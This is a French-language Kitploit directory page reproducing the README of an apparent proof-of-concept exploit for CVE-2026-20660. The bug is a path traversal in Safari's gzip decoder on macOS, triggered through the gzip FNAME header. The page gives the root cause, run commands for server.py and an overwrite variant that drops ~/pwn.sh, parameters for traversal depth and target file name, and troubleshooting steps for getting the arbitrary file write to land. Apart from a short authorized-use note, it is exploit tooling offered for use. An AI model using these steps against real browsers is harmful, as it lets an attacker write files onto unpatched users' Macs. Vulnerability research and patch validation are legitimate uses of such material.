Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
CVE-2026-20660 — Exploit PoC autonome pour CVE-2026-20660 : traversée de chemin dans le décodeur gzip de Safari. Le serveur fournit un gzip malveillant pour écrire des fichiers arbitraires sur macOS vulnérable. | Kitploit
Outils/GitHubGitHub/retx0/cve-2026-20660
Génération de PayloadsAnalyse des VulnérabilitésExploitationExploitation d'Applications WebTests d'Intrusion
GitHubretx0/cve-2026-20660

CVE-2026-20660

Exploit PoC autonome pour CVE-2026-20660 : traversée de chemin dans le décodeur gzip de Safari. Le serveur fournit un gzip malveillant pour écrire des fichiers arbitraires sur macOS vulnérable.

Voir le dépôt
22il y a 5 moisPas encore vérifié

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager

Bundle PoC CVE-2026-20660

Ce dossier regroupe une preuve de concept autonome pour :

  • CVE-2026-20660
  • Traversée de chemin CFNetwork NSGZipDecoder via FNAME gzip
  • Impact sur Safari macOS vulnérable avec l'ouverture automatique activée

1. Structure du répertoire

  • server.py : serveur PoC principal avec profondeur de traversée et nom de cible configurables
  • server_overwrite.py : variante ciblée écrivant ../../pwn.sh
  • README.md : notes de reproduction et journal d'exploitation

2. Prérequis

  1. Le Safari macOS cible est vulnérable (avant la série de correctifs 26.3).
  2. Réglage Safari activé :
    • Préférences -> Général -> Ouvrir les fichiers sûrs après téléchargement
  3. Vous pouvez accéder à cet hôte depuis le navigateur cible.

3. Résumé de la cause racine

Le diff du correctif montre que -[NSGZipDecoder filenameWithOriginalFilename:] a changé de comportement :

  • Ancien comportement : renvoyer directement le nom dérivé du FNAME gzip.
  • Nouveau comportement : appliquer lastPathComponent avant de renvoyer.

Cela bloque les composants de répertoire tels que ../ et les chemins absolus dans FNAME.

4. Pourquoi Content-Disposition n'est pas le vecteur

Le nom de fichier HTTP peut être propre et l'exploitation réussit quand même.

  • Nom de fichier HTTP Content-Disposition : propre (exemple : report.gz)
  • FNAME d'en-tête gzip : malveillant (exemple : ../../proof.txt)

L'assainissement côté Safari s'applique principalement aux noms de la couche HTTP, pas au FNAME gzip intégré consommé par NSGZipDecoder dans le flux vulnérable.

5. Démarrage rapide

Depuis la racine du dépôt :

root@kitploit:~
python3 exploit/cve-2026-20660/server.py --port 8888 --depth 2

Ouvrir dans un Safari vulnérable :

root@kitploit:~
http://<server-ip>:8888/

Cliquer sur Trigger depth=2.

6. Validation

Après le déclenchement, vérifiez le résultat d'écriture sur la machine cible :

root@kitploit:~
ls -la ~/cve-2026-20660-proof.txt
cat ~/cve-2026-20660-proof.txt

Pour la variante d'écrasement :

root@kitploit:~
python3 exploit/cve-2026-20660/server_overwrite.py --port 9999

Puis ouvrir :

root@kitploit:~
http://<server-ip>:9999/

Vérifier :

root@kitploit:~
ls -la ~/pwn.sh
cat ~/pwn.sh

7. Notes sur les paramètres (server.py)

  • --bind, -b : adresse de liaison (par défaut 0.0.0.0)
  • --port, -p : port d'écoute (par défaut 8888)
  • --depth, -d : profondeur de traversée (nombre de répétitions de ../, par défaut 2)
  • --name, -n : nom du fichier de sortie cible

Exemples :

root@kitploit:~
# write to ~/proof.txt when depth matches runtime directory nesting
python3 exploit/cve-2026-20660/server.py -p 8888 -d 2 -n proof.txt

# explicit absolute path test (if resolver permits)
python3 exploit/cve-2026-20660/server.py -p 8888
# then use: /download?depth=0&fname=/tmp/proof.txt

8. Comportement observé (notes actuelles)

  1. La décompression peut se produire dans un répertoire temporaire sous ~/Downloads, donc la profondeur doit souvent être >= 2 pour s'échapper vers ~/.
  2. Les fichiers cibles existants peuvent ne pas être écrasés ; la pile de téléchargement peut renommer automatiquement pour éviter les collisions.
  3. Les charges utiles de script peuvent apparaître avec les bits exécutables lors des exécutions observées ; validez selon la version/configuration.

9. Dépannage

  1. Aucune écriture observée :
    • Vérifiez que le réglage d'ouverture automatique de Safari est activé.
    • Augmentez la profondeur (2, 3, 4) et refaites le test.
  2. Le fichier reste dans Téléchargements :
    • Profondeur insuffisante pour l'imbrication actuelle du répertoire de décompression.
  3. Échec de connexion :
    • Vérifiez le pare-feu de l'hôte et l'accessibilité du réseau local.
  4. Chemin cible inchangé :
    • Un conflit de nom de fichier existant peut entraîner un renommage de la sortie.

10. Sécurité et périmètre

À utiliser uniquement dans des environnements de test autorisés.

  • Ne ciblez pas de systèmes sans autorisation explicite.
  • Conservez des charges utiles non destructives pour la reproductibilité.
  • Conservez des captures d'écran et des journaux comme preuve d'évaluation.

11. Collecte de preuves suggérée

  1. Capture d'écran de la version de Safari et de la version du système d'exploitation.
  2. Journaux de la console du serveur PoC (requête + FNAME).
  3. Commandes de vérification du système de fichiers et leur sortie.
  4. Liste du répertoire avant/après pour le chemin cible.

12. Compte-rendu détaillé

Pour une explication plus détaillée, voir :

  • https://ret0.dev/posts/cve-2026-20660/
Télécharger l’outil